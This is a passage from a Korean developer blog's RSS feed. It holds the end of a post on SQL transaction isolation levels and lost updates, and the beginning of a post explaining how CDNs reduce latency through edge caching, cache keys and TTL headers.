&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;T1: SELECT stock FROM item WHERE id = 1;   -- 10
T2: SELECT stock FROM item WHERE id = 1;   -- 10
T1: UPDATE item SET stock = 9 WHERE id = 1;   COMMIT;
T2: UPDATE item SET stock = 9 WHERE id = 1;   COMMIT;

두 번 팔았는데 재고는 1만 줄었습니다.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;읽고 → 계산하고 → 쓰는&lt;/strong&gt; 흐름을 애플리케이션 코드에서 하면 격리 수준을 올려도 잘 안 잡힙니다. 해결은 셋 중 하나입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;방법&lt;/th&gt;
&lt;th&gt;코드&lt;/th&gt;
&lt;th&gt;언제&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DB에서 계산&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;SET stock = stock - 1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;가능하면 이게 제일 낫습니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;비관적 락&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;SELECT ... FOR UPDATE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;충돌이 잦을 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;낙관적 락&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;WHERE version = 3&lt;/code&gt; 후 갱신 행 수 확인&lt;/td&gt;
&lt;td&gt;충돌이 드물 때&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;읽은 값을 애플리케이션에서 빼서 다시 쓰는 코드를 발견하면, 거기가 후보입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실무에서는 무엇을 쓰나&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;기본값을 그대로 두시면 됩니다.&lt;/strong&gt; 격리 수준을 전역으로 올리는 건 거의 답이 아닙니다 — 락 경합과 데드락이 늘고, 그 대가로 얻는 안전은 대부분의 트랜잭션에 필요 없습니다.&lt;/p&gt;
&lt;p&gt;대신 &lt;strong&gt;문제가 되는 트랜잭션만 개별로 올리거나 명시적으로 잠급니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- 이 트랜잭션만 올리기&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TRANSACTION&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ISOLATION&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LEVEL&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;SERIALIZABLE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- 또는 필요한 행만 잠그기&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; item &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UPDATE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;기준은 단순합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;돈·재고·좌석처럼 틀리면 안 되는 것&lt;/strong&gt; → 명시적 잠금 또는 DB에서 직접 계산&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;통계·목록·대시보드&lt;/strong&gt; → 기본값으로 충분합니다. 잠깐 어긋나도 됩니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;긴 트랜잭션&lt;/strong&gt; → 격리 수준보다 &lt;strong&gt;트랜잭션을 짧게 만드는 게 먼저&lt;/strong&gt;입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;마지막 항목이 실무에서 가장 효과가 큽니다. 트랜잭션 안에 외부 API 호출이나 파일 처리가 들어가 있으면, 격리 수준을 어떻게 맞추든 락을 오래 쥐고 있어 뒤가 밀립니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;격리 수준을 올리면 항상 안전해지나요?&lt;/h3&gt;
&lt;p&gt;아닙니다. &lt;strong&gt;갱신 손실은 격리 수준으로 안 잡힙니다.&lt;/strong&gt; 읽고 계산해서 다시 쓰는 흐름이면 잠금이나 버전 확인이 따로 필요합니다. 그리고 SERIALIZABLE로 올리면 충돌 시 트랜잭션이 실패하므로, &lt;strong&gt;재시도 코드가 없으면 오히려 에러가 늘어납니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;스프링의 &lt;code class=&quot;language-text&quot;&gt;@Transactional(isolation = ...)&lt;/code&gt;은 어떻게 동작하나요?&lt;/h3&gt;
&lt;p&gt;JDBC 커넥션의 격리 수준을 그 트랜잭션 동안만 바꿔 줍니다. 다만 커넥션 풀에서 빌린 커넥션의 설정을 건드리는 것이라, 반납 시 원복되는지는 풀 설정에 달려 있습니다. HikariCP는 원복해 줍니다. &lt;strong&gt;DB가 지원하지 않는 수준을 지정하면 조용히 무시되거나 예외가 납니다&lt;/strong&gt; — Oracle에 REPEATABLE READ를 주는 경우가 그렇습니다.&lt;/p&gt;
&lt;h3&gt;읽기 전용 조회에도 트랜잭션이 필요한가요?&lt;/h3&gt;
&lt;p&gt;한 번의 &lt;code class=&quot;language-text&quot;&gt;SELECT&lt;/code&gt;만 한다면 필요 없습니다. 다만 &lt;strong&gt;여러 번 조회해서 그 값들이 서로 맞아떨어져야 한다면&lt;/strong&gt; 하나의 트랜잭션으로 묶어야 합니다. 안 묶으면 조회 사이에 데이터가 바뀌어 합계가 안 맞는 화면이 나옵니다.&lt;/p&gt;
&lt;h3&gt;MySQL과 PostgreSQL 중 어느 쪽이 맞는 건가요?&lt;/h3&gt;
&lt;p&gt;둘 다 표준을 지킨 선택입니다. 표준은 &quot;이 수준에서 이 현상이 &lt;strong&gt;발생해도 된다&lt;/strong&gt;&quot;고 정할 뿐, 막는 걸 금지하지 않습니다. 중요한 건 &lt;strong&gt;내가 쓰는 DB의 기본값을 알고 있는 것&lt;/strong&gt;이지 어느 쪽이 옳은지가 아닙니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리하며&lt;/h2&gt;
&lt;p&gt;격리 수준은 &lt;strong&gt;정확성과 속도를 맞바꾸는 다이얼&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;이상 현상은 셋 — 커밋 안 된 값(Dirty), 같은 행의 값이 바뀜(Non-repeatable), 행 수가 바뀜(Phantom)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MySQL은 REPEATABLE READ, PostgreSQL은 READ COMMITTED&lt;/strong&gt; 가 기본입니다. 옮길 때 동작이 달라집니다&lt;/li&gt;
&lt;li&gt;표의 &quot;RR에서 팬텀 발생&quot;은 표준 정의입니다. 실제 MySQL·PostgreSQL은 그보다 강하게 막습니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;갱신 손실은 격리 수준으로 안 잡힙니다.&lt;/strong&gt; DB에서 계산하거나, 잠그거나, 버전을 확인하세요&lt;/li&gt;
&lt;li&gt;전역으로 올리지 마시고, 문제가 되는 트랜잭션만 다루세요&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;같은 조회를 두 번 했는데 값이 달랐던 경험 있으신가요? 그때 쓰던 DB의 기본 격리 수준은 무엇이었나요?&lt;/p&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.4/en/innodb-transaction-isolation-levels.html&quot;&gt;MySQL — Transaction Isolation Levels&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/transaction-iso.html&quot;&gt;PostgreSQL — Transaction Isolation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/research/publication/a-critique-of-ansi-sql-isolation-levels/&quot;&gt;A Critique of ANSI SQL Isolation Levels (1995)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[CDN 동작 원리 — 거리가 곧 지연이고, 캐시가 그 거리를 줄인다]]></title><description><![CDATA[…]]></description><link>https://blog.javapark.kr/cdn-how-it-works/</link><guid isPermaLink="false">https://blog.javapark.kr/cdn-how-it-works/</guid><pubDate>Wed, 19 Aug 2026 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/81e67654c42c390c32d2978d368f352b/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACD0lEQVR42l2SSU/bQBSAfSF4vEw8q/fYsePYsU3iQBYCAbKQ0gQChbaiUqVW4tZTL1WR+PUd0gut9B1GT+97y8xIskZU7tMgM+xI1ulbFEgpoYFJc5cNQnaRsE2H3ZfsrmCrlJ3ETBLynhnp7eG+k9ZU9L+MX+XCY6MmmyfspsM+d/lDya8yNhXynoLX1/e/n19+Pb/4cS7VtH2N1BQk2FcRMrDPSOayfoOeREQ03HbwJsOLFp1ETKpB82x18/Tj59fvT2nR5V7C7JC4MXZiy41tp+FbVunz89T9kIerzDwrq1lVTPvOUSBkGqTD+WBxV/aq1Xw6u348XWxGy9tqvr25e5zOr1pxu+3Q08SZNJ1xSE86xaRID9tc7CIBr4NafYGZH6OoUp225iR1p4WsJraahhkYmJuYiM0ji2QOLT1cOCS1aWRTSQ66aLgO19/qg/f2+YM/+2TEfSs+qNsxZA3mt8O0QsRkhHiciRKhyQS+SW1KJZCMtOrSON7q/Ut4uDL6Sy3qQb+jWZFGPZ24Bm8AyLU6NRAlmLIdGFFYp5KSn4HiQs7PgSCdyNEhCHuym8m8KSP79eZVLOvk7+MBSFVIFZ2AXURSukttsIHjrXq0VroLJZ+C1gA0SmAnMvFlyAFk/34epiJbqfOdXL1Dpx/J7Is+vgW9JRCDJEMQHAgZ0Ia8S3qLqIXMEBJPnP8AGm9R4MMwctUAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/81e67654c42c390c32d2978d368f352b/a1b3b/thumbnail.webp 215w,
/static/81e67654c42c390c32d2978d368f352b/fc700/thumbnail.webp 430w,
/static/81e67654c42c390c32d2978d368f352b/521f7/thumbnail.webp 860w,
/static/81e67654c42c390c32d2978d368f352b/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/81e67654c42c390c32d2978d368f352b/f7886/thumbnail.png 215w,
/static/81e67654c42c390c32d2978d368f352b/bc750/thumbnail.png 430w,
/static/81e67654c42c390c32d2978d368f352b/3e3fe/thumbnail.png 860w,
/static/81e67654c42c390c32d2978d368f352b/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/81e67654c42c390c32d2978d368f352b/3e3fe/thumbnail.png&apos; alt=&apos;CDN 동작 원리 커버 — 오리진 하나에서 전 세계 사용자로 뻗는 경로와 엣지 캐시가 거리를 줄이는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;CDN 동작 원리 커버 — 오리진 하나에서 전 세계 사용자로 뻗는 경로와 엣지 캐시가 거리를 줄이는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;서버는 서울에 있습니다. 국내 사용자는 빠릿합니다.
그런데 브라질 사용자가 &quot;느리다&quot;고 합니다.&lt;/p&gt;
&lt;p&gt;서버 사양을 올렸습니다. &lt;strong&gt;그대로입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;당연합니다. 서버가 느린 게 아니라 &lt;strong&gt;멀어서&lt;/strong&gt; 느린 거니까요.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;네트워크 지연의 바닥은 거리가 정합니다.&lt;/strong&gt; CPU를 아무리 올려도 이 바닥은 안 내려갑니다. CDN은 서버를 빠르게 만드는 물건이 아니라 &lt;strong&gt;사본을 사용자 가까이 옮겨서 거리를 줄이는&lt;/strong&gt; 물건입니다.&lt;/p&gt;
&lt;p&gt;엣지를 깔았는데도 첫 요청은 그대로 느린 장면을 눈으로 보고 싶으시면 &lt;strong&gt;50초짜리 영상&lt;/strong&gt;으로도 정리했습니다. 서울·프랑크푸르트·상파울루의 왕복 시간이 어떻게 갈리는지 같은 화면에서 따라갑니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/_ZORu8dEtsE&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 125.5813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAIAAAC+dZmEAAAACXBIWXMAAAAAAAAAAAHqZRakAAAD1klEQVR42o2TaW/bRhCGaUsUxT1m9l4ul5RkW1cky5ZlNzYQJ02QNr2+t///n3SoHEC/FXhBzO7OM+/skCxYzXnNJedaCoPcIg+Ke8U3Pf98B5/v4c1M0JI26cigoDQphGCcwOK/sPgKO8Ve9/DpqX1/yj8f0Cv2f+BvzvR82cJfL/GP50iBxR/wkEbJhAxw/R1WBMPAO6S2xTLjr/ckdZMxGtpkdEQJaoDPzuw7TAsQ3zo3yKKBoERjZDQyO9E6GEiUJBRScimYZAyK6XSoQTDVQyE0cKukN0itOgqUNMCcQadpR2oAFACUyBX1Ss5Ug7oepgBCkqzWw2CAkz85U+wUeGMtoJKKBEKTC2e6mDKoObLBlQRGK601ggQpk8PWgwIwgFYZBUZJPbQijeCDipLhlCsmFQfNpe4SGaMEIFyh0kjZoCR56j56jQ6kk8JK4Th3xZjpidBTSVI1KqEdRz0kA1KbiHRNdfY0rfcIdngn0ksRhAhFyc1ZiqtowzWYWKPmaARqF3of5gAWzgxiE8PSqA5EkKLhIhaXXNc6h7TrFk+nh79Td1cKmAINt93uft9sv1jbS2kF0zntT6d/FvNnwb2EVshUjISdYJiohHEzX77DcFXSFcDUGJfL02p5EpgkUJPO2evlzfum2XOeADopczGGMMZwgZ47KuEuwY3Rl+gmki5vhfK19AyikNRnIAmZiUQcVIwxliqOVaOaPLWJghEGqlhCmGJiqp1CrCEyaIgHaFOYEazOKsYqlrq5wGZsurFOFNPOUBFChQ0xlQz0JHHZCEjG9uKH85CtG4itzv3EDvEPvoodC/3Z+RtMQw56HnUPkCU5F9Dc3MT3x/bDMd/vErUwMc1Y+mq75m8f2dNj/WZbc8+wqUS89/MP3fo1r/duMRVpgG+34WGTjuv28TZeqKb8Ct/t6v3ddHeo726nfJhZxcNTXNw314d4/RgWtCxoPNDMT/c3r09XfnY1Uue2IYxshMcH9XSa2FRxmnmsmLMqv14d3i1uFaSa+aKQ4eo6f/yp36y71aojeKTCWLqxCfVqzTfbEvyE2YrbstYH1/0y2+7i1UK1VKu4EH4x11/e6uNG367UJdDbjqWwpU/VblU97irbVMxMaYfpB5f/TPO3Pu9tLmv6qzCG9sT0Mq2PcXmq3GIE1HkqsSlFKDl9MPQhNBPVVJguIV7IMIJIpzWEouvCYb/bPTwcX54/Pi9/e4mLmW/bkHPIXch9zBS3PqdBXfJ9G7rW9zkoQ3D2y/VieTjMV5vtwnw8uptF0+Wm7+KMlGNPqcQk910DPyMY7b+FMXU0QfFuDwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/5d4f7ef2b0702890c65fab7c3bdc15d0/a1b3b/video-thumb.webp 215w,
/static/5d4f7ef2b0702890c65fab7c3bdc15d0/fc700/video-thumb.webp 430w,
/static/5d4f7ef2b0702890c65fab7c3bdc15d0/521f7/video-thumb.webp 860w,
/static/5d4f7ef2b0702890c65fab7c3bdc15d0/d0742/video-thumb.webp 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/5d4f7ef2b0702890c65fab7c3bdc15d0/f7886/video-thumb.png 215w,
/static/5d4f7ef2b0702890c65fab7c3bdc15d0/bc750/video-thumb.png 430w,
/static/5d4f7ef2b0702890c65fab7c3bdc15d0/3e3fe/video-thumb.png 860w,
/static/5d4f7ef2b0702890c65fab7c3bdc15d0/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/5d4f7ef2b0702890c65fab7c3bdc15d0/3e3fe/video-thumb.png&apos; alt=&apos;CDN 영상 — 엣지를 깔아도 첫 요청은 오리진까지 가느라 느리고, 두 번째 요청부터 캐시가 응답하는 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;CDN 영상 — 엣지를 깔아도 첫 요청은 오리진까지 가느라 느리고, 두 번째 요청부터 캐시가 응답하는 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;거리는 왜 지연이 되나&lt;/h2&gt;
&lt;p&gt;빛보다 빠른 건 없습니다. 그리고 광섬유 안에서 빛은 진공에서보다 느립니다 — 대략 &lt;strong&gt;초속 20만 km&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;서울에서 상파울루까지 직선으로 약 18,300km. 왕복이면 36,600km입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;36,600 km ÷ 200,000 km/s = 0.183초 = 183ms&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;이게 이론상 최소값입니다.&lt;/strong&gt; 케이블이 지구를 직선으로 뚫고 갈 수 없고 중간에 라우터를 여러 번 거치므로, 실제로는 왕복 &lt;strong&gt;280~320ms&lt;/strong&gt; 정도 나옵니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;서울에서&lt;/th&gt;
&lt;th&gt;대략 거리&lt;/th&gt;
&lt;th&gt;실제 왕복(RTT)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;서울&lt;/td&gt;
&lt;td&gt;0 km&lt;/td&gt;
&lt;td&gt;5~20 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프랑크푸르트&lt;/td&gt;
&lt;td&gt;8,600 km&lt;/td&gt;
&lt;td&gt;230~260 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;상파울루&lt;/td&gt;
&lt;td&gt;18,300 km&lt;/td&gt;
&lt;td&gt;280~320 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;여기서 중요한 건 &lt;strong&gt;왕복이 한 번으로 안 끝난다&lt;/strong&gt;는 점입니다. TCP 연결에 한 번, TLS 협상에 또 한두 번, 그 다음에야 실제 요청이 갑니다. 왕복 300ms짜리 경로라면 화면에 첫 바이트가 뜨기까지 &lt;strong&gt;1초가 그냥 지나갑니다.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;왕복 수가 어떻게 첫 응답 지연이 되는지는 &lt;a href=&quot;/https-handshake/&quot;&gt;HTTPS 핸드셰이크 글&lt;/a&gt;에 자세히 정리해 뒀습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;엣지 — 사본을 가까이 둔다&lt;/h2&gt;
&lt;p&gt;거리를 줄이는 방법은 하나뿐입니다. &lt;strong&gt;가까운 곳에 사본을 두는 것.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;CDN 사업자는 전 세계 수백 곳에 &lt;strong&gt;엣지 서버(edge server, PoP)&lt;/strong&gt; 를 깔아 뒀습니다. 사용자의 요청은 원래 서버(&lt;strong&gt;오리진&lt;/strong&gt;)까지 가지 않고 가장 가까운 엣지에서 끊깁니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;엣지 없이&lt;/th&gt;
&lt;th&gt;엣지 있을 때&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;상파울루 사용자 →&lt;/td&gt;
&lt;td&gt;서울 오리진 (18,300 km)&lt;/td&gt;
&lt;td&gt;상파울루 엣지 (150 km)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;왕복&lt;/td&gt;
&lt;td&gt;약 300 ms&lt;/td&gt;
&lt;td&gt;약 12 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;같은 파일입니다. &lt;strong&gt;더 가까운 사본&lt;/strong&gt;일 뿐입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;첫 요청은 안 빨라집니다&lt;/h2&gt;
&lt;p&gt;여기가 실무에서 가장 많이 오해하는 지점입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;엣지에 처음부터 파일이 들어 있는 게 아닙니다.&lt;/strong&gt; 엣지는 빈 상태로 시작합니다. 누군가 처음 요청하면 엣지에도 그 파일이 없으니, 엣지가 오리진까지 가서 받아온 다음 사용자에게 넘겨줍니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1번째 요청  브라질 사용자 → 상파울루 엣지 → (없음) → 서울 오리진 → 엣지 → 사용자
            = 원래보다 오히려 조금 더 걸립니다
2번째 요청  브라질 사용자 → 상파울루 엣지 → (있음) → 사용자
            = 12ms&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 상태를 응답 헤더가 알려줍니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;헤더 값&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;x-cache: MISS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;엣지에 없어서 오리진까지 다녀왔습니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;x-cache: HIT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;엣지가 갖고 있던 사본으로 바로 답했습니다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;헤더 이름은 사업자마다 다릅니다. CloudFront는 &lt;code class=&quot;language-text&quot;&gt;x-cache: Hit from cloudfront&lt;/code&gt;, Cloudflare는 &lt;code class=&quot;language-text&quot;&gt;cf-cache-status: HIT&lt;/code&gt;를 씁니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;그래서 &quot;CDN 붙였는데 안 빨라졌다&quot;는 대부분 MISS를 보고 있는 것입니다.&lt;/strong&gt; 배포 직후, 트래픽이 적은 지역, TTL이 막 만료된 시점 — 전부 MISS가 나는 조건입니다. 측정하실 거면 &lt;strong&gt;같은 URL을 두 번 이상 호출한 뒤&lt;/strong&gt;에 비교하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;엣지는 무엇을 &quot;같은 파일&quot;로 보나&lt;/h2&gt;
&lt;p&gt;엣지가 &quot;이건 갖고 있다&quot;를 판단하는 기준을 &lt;strong&gt;캐시 키(cache key)&lt;/strong&gt; 라고 합니다. 기본은 보통 이렇습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;캐시 키 = 호스트 + 경로 + 쿼리스트링&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;그래서 실무에서 이런 일이 생깁니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;/app.js&lt;/code&gt; 와 &lt;code class=&quot;language-text&quot;&gt;/app.js?v=2&lt;/code&gt; 는 &lt;strong&gt;서로 다른 캐시&lt;/strong&gt;입니다&lt;/li&gt;
&lt;li&gt;추적용 파라미터(&lt;code class=&quot;language-text&quot;&gt;?utm_source=...&lt;/code&gt;)가 붙으면 &lt;strong&gt;매번 다른 키&lt;/strong&gt;가 되어 캐시가 거의 안 먹습니다&lt;/li&gt;
&lt;li&gt;모바일과 데스크톱에 다른 HTML을 주는데 캐시 키에 그 구분이 없으면, &lt;strong&gt;먼저 캐시된 쪽이 양쪽에 나갑니다&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;마지막 사례가 특히 위험합니다. 로그인한 사용자의 페이지가 캐시돼서 &lt;strong&gt;다른 사람에게 나가는 사고&lt;/strong&gt;가 이 지점에서 납니다. 사용자마다 달라지는 응답에는 캐시를 걸지 않거나, 구분되는 값을 캐시 키에 반드시 포함시켜야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;얼마나 오래 들고 있나 — TTL&lt;/h2&gt;
&lt;p&gt;엣지가 사본을 얼마나 보관할지는 오리진이 헤더로 지시합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;http&quot;&gt;&lt;pre class=&quot;language-http&quot;&gt;&lt;code class=&quot;language-http&quot;&gt;&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token header-name keyword&quot;&gt;Cache-Control&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token header-value&quot;&gt;public, max-age=31536000, immutable&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지시자&lt;/th&gt;
&lt;th&gt;뜻&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;public&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;공용 캐시(CDN)가 저장해도 됩니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
